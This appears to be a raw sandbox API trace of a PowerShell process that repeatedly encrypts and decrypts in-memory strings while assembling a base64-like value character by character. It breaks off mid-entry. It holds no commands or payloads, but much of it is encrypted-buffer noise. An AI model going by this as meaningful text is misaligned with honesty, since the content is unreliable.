(param_1="㹴鲤窆锄럝㨏䪆謄᫕쪁禌ヱ삮\xfde6\믜ⅲ웫蓤鋜컐ꑍ靺᫠礅削탡⼧봩Ӹ힇骚ᧄ褡䷽轛−) returned 0x30 [0225.739] SystemFunction041 (in: Memory=0x5c92bcc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92bcc) returned 0x0 [0225.739] SysStringLen (param_1="yK/+YzIwTFKpjVTE3nxv7mQpVEIXUdSanF/2hF0rJꉂ蓳縥꫶䯶⠾\⋟) returned 0x30 [0225.739] SystemFunction040 (in: Memory=0x5c92bcc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92bcc) returned 0x0 [0225.739] SysStringLen (param_1="㹴鲤窆锄럝㨏䪆謄᫕쪁禌ヱ삮\xfde6\믜ⅲ웫蓤鋜컐ꑍ靺᫠礅削탡⼧봩Ӹ힇骚ᧄ褡䷽轛팒銢ꈎ无衾҈챱굠⊳) returned 0x30 [0225.739] SysStringLen (param_1="㹴鲤窆锄럝㨏䪆謄᫕쪁禌ヱ삮\xfde6\믜ⅲ웫蓤鋜컐ꑍ靺᫠礅削탡⼧봩Ӹ힇骚ᧄ褡䷽轛팒銢ꈎ无衾҈챱굠⊳) returned 0x30 [0225.739] SystemFunction041 (in: Memory=0x5c92bcc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92bcc) returned 0x0 [0225.740] SysStringLen (param_1="yK/+YzIwTFKpjVTE3nxv7mQpVEIXUdSanF/2hF0rJH蓳縥꫶䯶⠾\⋟) returned 0x30 [0225.740] SystemFunction040 (in: Memory=0x5c92bcc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92bcc) returned 0x0 [0225.740] SysStringLen (param_1="㹴鲤窆锄럝㨏䪆謄᫕쪁禌ヱ삮\xfde6\믜ⅲ웫蓤鋜컐ꑍ靺᫠礅削탡⼧봩Ӹ힇骚ᧄ褡䷽轛줔촏齡ꋔ㪓屪婷∵) returned 0x30 [0225.740] SysStringLen (param_1="㹴鲤窆锄럝㨏䪆謄᫕쪁禌ヱ삮\xfde6\믜ⅲ웫蓤鋜컐ꑍ靺᫠礅削탡⼧봩Ӹ힇骚ᧄ褡䷽轛줔촏齡ꋔ㪓屪婷∵) returned 0x30 [0225.740] SystemFunction041 (in: Memory=0x5c92bcc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92bcc) returned 0x0 [0225.740] SysStringLen (param_1="yK/+YzIwTFKpjVTE3nxv7mQpVEIXUdSanF/2hF0rJHE縥꫶䯶⠾\⋟) returned 0x30 [0225.740] SystemFunction040 (in: Memory=0x5c92bcc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92bcc) returned 0x0 [0225.740] SysStringLen (param_1="㹴鲤窆锄럝㨏䪆謄᫕쪁禌ヱ삮\xfde6\믜ⅲ웫蓤鋜컐ꑍ靺᫠礅削탡⼧봩Ӹ힇骚ᧄ褡䷽轛값⓻ሐ澋Ⱋ픽ﮢᗰ≵) returned 0x30 [0225.741] SysStringLen (param_1="㹴鲤窆锄럝㨏䪆謄᫕쪁禌ヱ삮\xfde6\믜ⅲ웫蓤鋜컐ꑍ靺᫠礅削탡⼧봩Ӹ힇骚ᧄ褡䷽轛값⓻ሐ澋Ⱋ픽ﮢᗰ≵) returned 0x30 [0225.741] SystemFunction041 (in: Memory=0x5c92bcc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92bcc) returned 0x0 [0225.741] SysStringLen (param_1="yK/+YzIwTFKpjVTE3nxv7mQpVEIXUdSanF/2hF0rJHE=꫶䯶⠾\⋟) returned 0x30 [0225.741] SystemFunction040 (in: Memory=0x5c92bcc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92bcc) returned 0x0 [0225.742] EtwEventActivityIdControl () returned 0x0 [0225.742] EtwEventActivityIdControl () returned 0x0 [0225.742] EtwEventActivityIdControl () returned 0x0 [0225.746] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e684, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0225.746] EtwEventActivityIdControl () returned 0x0 [0225.746] EtwEventActivityIdControl () returned 0x0 [0225.746] EtwEventActivityIdControl () returned 0x0 [0225.747] SysStringLen (param_1="") returned 0x8 [0225.747] SysStringLen (param_1="N") returned 0x8 [0225.747] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0225.747] SysStringLen (param_1="呿쪽콒뭠搎㢩撟ಟ") returned 0x8 [0225.747] SysStringLen (param_1="呿쪽콒뭠搎㢩撟ಟ") returned 0x8 [0225.747] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0225.748] SysStringLen (param_1="ND") returned 0x8 [0225.748] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0225.748] SysStringLen (param_1="驻핊껁䶴熈甂") returned 0x8 [0225.748] SysStringLen (param_1="驻핊껁䶴熈甂") returned 0x8 [0225.748] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0225.748] SysStringLen (param_1="NDZ") returned 0x8 [0225.748] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0225.748] SysStringLen (param_1="椘鷷披䆔ᅋ䉃㖶") returned 0x8 [0225.748] SysStringLen (param_1="椘鷷披䆔ᅋ䉃㖶") returned 0x8 [0225.748] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0225.749] SysStringLen (param_1="NDZl") returned 0x8 [0225.749] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0225.749] SysStringLen (param_1="鮒뼊붳叽ᄳ봯쓖\⋜) returned 0x8 [0225.749] SysStringLen (param_1="鮒뼊붳叽ᄳ봯쓖\⋜) returned 0x8 [0225.749] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0225.749] SysStringLen (param_1="NDZlO") returned 0x8 [0225.749] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0225.749] SysStringLen (param_1="쭈࢔쀜䧢橃DZ") returned 0x8 [0225.749] SysStringLen (param_1="쭈࢔쀜䧢橃DZ") returned 0x8 [0225.749] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0225.750] SysStringLen (param_1="NDZlOD") returned 0x8 [0225.750] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0225.751] SysStringLen (param_1="￠⎊酫졛㍫搘误") returned 0x8 [0225.751] SysStringLen (param_1="￠⎊酫졛㍫搘误") returned 0x8 [0225.751] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0225.751] SysStringLen (param_1="NDZlODR") returned 0x8 [0225.751] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0225.752] SysStringLen (param_1="ἷ䆣ƭ靴ﮦ빎⻺䯵") returned 0x8 [0225.752] SysStringLen (param_1="ἷ䆣ƭ靴ﮦ빎⻺䯵") returned 0x8 [0225.752] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0225.752] SysStringLen (param_1="NDZlODRm") returned 0x8 [0225.752] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0225.752] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0225.752] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0225.752] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0225.753] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x10 [0225.753] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0225.753] SysStringLen (param_1="NDZlODRmY뮇펬᠚࣢ᣆ㬞勉") returned 0x10 [0225.753] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0225.753] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈ິ퇒䄣䝰尫붌丒") returned 0x10 [0225.753] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈ິ퇒䄣䝰尫붌丒") returned 0x10 [0225.753] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0225.753] SysStringLen (param_1="NDZlODRmYz펬᠚࣢ᣆ㬞勉") returned 0x10 [0225.753] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0225.754] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뷰鱙켜쐠渂ጙ") returned 0x10 [0225.754] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뷰鱙켜쐠渂ጙ") returned 0x10 [0225.811] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0225.811] SysStringLen (param_1="NDZlODRmYzN᠚࣢ᣆ㬞勉") returned 0x10 [0225.811] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0225.811] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈切淿⳸㷨ⷻ彍굸") returned 0x10 [0225.812] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈切淿⳸㷨ⷻ彍굸") returned 0x10 [0225.812] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0225.812] SysStringLen (param_1="NDZlODRmYzNl࣢ᣆ㬞勉") returned 0x10 [0225.812] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0225.812] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈\⣙ᖳಊ垵ỽ뒡ऺ∭) returned 0x10 [0225.812] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈\⣙ᖳಊ垵ỽ뒡ऺ∭) returned 0x10 [0225.812] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0225.813] SysStringLen (param_1="NDZlODRmYzNlYᣆ㬞勉") returned 0x10 [0225.813] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0225.813] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뜤翜佹诞夋ヵ秭㑲") returned 0x10 [0225.813] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뜤翜佹诞夋ヵ秭㑲") returned 0x10 [0225.813] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0225.813] SysStringLen (param_1="NDZlODRmYzNlYT㬞勉") returned 0x10 [0225.813] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0225.813] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뽮昊\槛ጔᰆ崣⋀) returned 0x10 [0225.813] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뽮昊\槛ጔᰆ崣⋀) returned 0x10 [0225.814] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0225.814] SysStringLen (param_1="NDZlODRmYzNlYTJ勉") returned 0x10 [0225.814] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0225.814] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈콨鄪䴳ꘘ₿㳻섖") returned 0x10 [0225.814] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈콨鄪䴳ꘘ₿㳻섖") returned 0x10 [0225.814] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0225.814] SysStringLen (param_1="NDZlODRmYzNlYTJh") returned 0x10 [0225.814] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0225.814] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0225.815] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0225.815] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0225.815] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x18 [0225.815] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0225.815] SysStringLen (param_1="NDZlODRmYzNlYTJhM虵亅㸱멷嘇ꚺ") returned 0x18 [0225.816] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0225.816] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ʹℭ䠲鵊퇱े") returned 0x18 [0225.816] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ʹℭ䠲鵊퇱े") returned 0x18 [0225.816] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0225.816] SysStringLen (param_1="NDZlODRmYzNlYTJhMD亅㸱멷嘇ꚺ") returned 0x18 [0225.816] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0225.816] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴뮼ᖽꜥॆ칖䝉") returned 0x18 [0225.816] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴뮼ᖽꜥॆ칖䝉") returned 0x18 [0225.816] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0225.816] SysStringLen (param_1="NDZlODRmYzNlYTJhMDF㸱멷嘇ꚺ") returned 0x18 [0225.816] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0225.817] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴퉢麻齟౬缍幠呌") returned 0x18 [0225.817] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴퉢麻齟౬缍幠呌") returned 0x18 [0225.817] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0225.817] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFl멷嘇ꚺ") returned 0x18 [0225.817] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0225.817] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ራ䃳ꂺⱿ쑪") returned 0x18 [0225.817] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ራ䃳ꂺⱿ쑪") returned 0x18 [0225.817] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0225.817] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlM嘇ꚺ") returned 0x18 [0225.817] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0225.817] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴䉌龢ʦ樞䍳ሐṪ") returned 0x18 [0225.817] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴䉌龢ʦ樞䍳ሐṪ") returned 0x18 [0225.818] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0225.818] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTꚺ") returned 0x18 [0225.818] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0225.818] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴⭝\⻚﻾沞쀩饒⋐) returned 0x18 [0225.818] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴⭝\⻚﻾沞쀩饒⋐) returned 0x18 [0225.818] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0225.818] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTU") returned 0x18 [0225.818] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0225.818] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ꗛ⾪蒷᪻릿ู찲鞃") returned 0x18 [0225.819] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ꗛ⾪蒷᪻릿ู찲鞃") returned 0x18 [0225.819] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0225.819] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUw") returned 0x18 [0225.819] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0225.819] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0225.819] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0225.819] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0225.820] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x20 [0225.820] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0225.820] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZㄵ㋛仄杫ℂ︸饉") returned 0x20 [0225.820] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0225.820] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲铩퀩峹闓郮\⋛) returned 0x20 [0225.820] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲铩퀩峹闓郮\⋛) returned 0x20 [0225.820] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0225.821] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZD㋛仄杫ℂ︸饉") returned 0x20 [0225.821] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0225.821] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲ᤓ⭤釋径ẖ") returned 0x20 [0225.821] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲ᤓ⭤釋径ẖ") returned 0x20 [0225.821] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0225.821] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE仄杫ℂ︸饉") returned 0x20 [0225.821] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0225.821] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲俫箙덵ꀓ솑ￛ罺኿") returned 0x20 [0225.821] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲俫箙덵ꀓ솑ￛ罺኿") returned 0x20 [0225.821] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0225.821] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3杫ℂ︸饉") returned 0x20 [0225.821] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0225.822] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲复⿉ﵺ彺㇍㞇㑜岔") returned 0x20 [0225.822] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲复⿉ﵺ彺㇍㞇㑜岔") returned 0x20 [0225.822] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0225.864] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yℂ︸饉") returned 0x20 [0225.864] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0225.865] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲⸸䟷ᖃח⡙\꽉⊏) returned 0x20 [0225.865] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲⸸䟷ᖃח⡙\꽉⊏) returned 0x20 [0225.865] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0225.865] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yz︸饉") returned 0x20 [0225.865] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0225.865] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲樝䎄㋬竵⭕쾫챶") returned 0x20 [0225.865] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲樝䎄㋬竵⭕쾫챶") returned 0x20 [0225.865] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0225.865] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yzd饉") returned 0x20 [0225.865] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0225.865] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲虜偤쎛犜ᔴ") returned 0x20 [0225.866] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲虜偤쎛犜ᔴ") returned 0x20 [0225.866] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0225.866] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yzdi") returned 0x20 [0225.866] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0225.866] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0225.866] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0225.866] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0225.867] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x28 [0225.867] SystemFunction041 (in: Memory=0x5c92434, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c92434) returned 0x0 [0225.867] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiM⤷挠ﵝ九갧") returned 0x28 [0225.867] SystemFunction040 (in: Memory=0x5c92434, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c92434) returned 0x0 [0225.867] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ♡ஊ픞딱ǭ譑∠) returned 0x28 [0225.867] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ♡ஊ픞딱ǭ譑∠) returned 0x28 [0225.867] SystemFunction041 (in: Memory=0x5c92434, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c92434) returned 0x0 [0225.868] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMm⤷挠ﵝ九갧") returned 0x28 [0225.868] SystemFunction040 (in: Memory=0x5c92434, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c92434) returned 0x0 [0225.868] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ⩡ඈ鐅䦌㫣噬㯥익∈) returned 0x28 [0225.868] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ⩡ඈ鐅䦌㫣噬㯥익∈) returned 0x28 [0225.868] SystemFunction041 (in: Memory=0x5c92434, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c92434) returned 0x0 [0225.868] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQ挠ﵝ九갧") returned 0x28 [0225.868] SystemFunction040 (in: Memory=0x5c92434, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c92434) returned 0x0 [0225.868] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖꛆ᪴洎榃䑝衬㟠⋁) returned 0x28 [0225.868] SysStringLen 